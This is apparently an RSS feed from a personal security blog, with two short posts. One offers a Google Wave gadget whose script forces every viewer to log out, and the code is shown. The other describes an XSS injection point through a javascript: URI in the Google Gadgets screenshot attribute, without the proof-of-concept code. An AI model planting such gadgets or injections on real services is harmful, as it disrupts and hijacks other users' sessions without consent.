<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Xml on blag</title><link>https://blog.beford.org/tags/xml/</link><description>Recent content in Xml on blag</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Fri, 20 Nov 2009 04:04:14 +0000</lastBuildDate><atom:link href="https://blog.beford.org/tags/xml/index.xml" rel="self" type="application/rss+xml"/><item><title>Google Wave - Make your friends logout gadget</title><link>https://blog.beford.org/2009/11/20/google-wave-make-your-friends-logout-gadget/</link><pubDate>Fri, 20 Nov 2009 04:04:14 +0000</pubDate><guid>https://blog.beford.org/2009/11/20/google-wave-make-your-friends-logout-gadget/</guid><description>&lt;p&gt;Adding this gadget to any wave will make people log out when they see it:&lt;/p&gt;
&lt;p&gt;&lt;a href="http://beford.org/stuff/waveg.xml"&gt;http://beford.org/stuff/waveg.xml&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The code:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;script type=&amp;#34;text/javascript&amp;#34;&amp;gt;
top.location=&amp;#34;https://wave.google.com/wave/logout&amp;#34;;
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Google Gadgets XSS (IE6/Opera)</title><link>https://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/</link><pubDate>Sun, 25 Nov 2007 09:58:23 +0000</pubDate><guid>https://blog.beford.org/2007/11/25/google-gadgets-xss-ie6/</guid><description>&lt;p&gt;There is a recent discussion on &lt;a href="http://ha.ckers.org/blog/20071119/google-gadgets-gaffe/"&gt;ha.ckers.org&lt;/a&gt; regarding a possible CSRF that could allow an attacker to inject an evil gadget on someobdy else&amp;rsquo;s iGoogle page. After checking the format of the &lt;a href="http://ha.ckers.org/asdf2.xml"&gt;xml file&lt;/a&gt; used to define the gadgets properties, I noticed a couple of attributes that could be used as point of injections to active content, the &lt;strong&gt;thumbnail&lt;/strong&gt; and &lt;strong&gt;screenshot&lt;/strong&gt; attribute. Only one of them is vulnerable, the screenshot attribute, by using a javascript URI as value you can execute active content on certain browsers such as IE6. This is a poc that shows an alert with the current document.domain value:&lt;/p&gt;</description></item></channel></rss>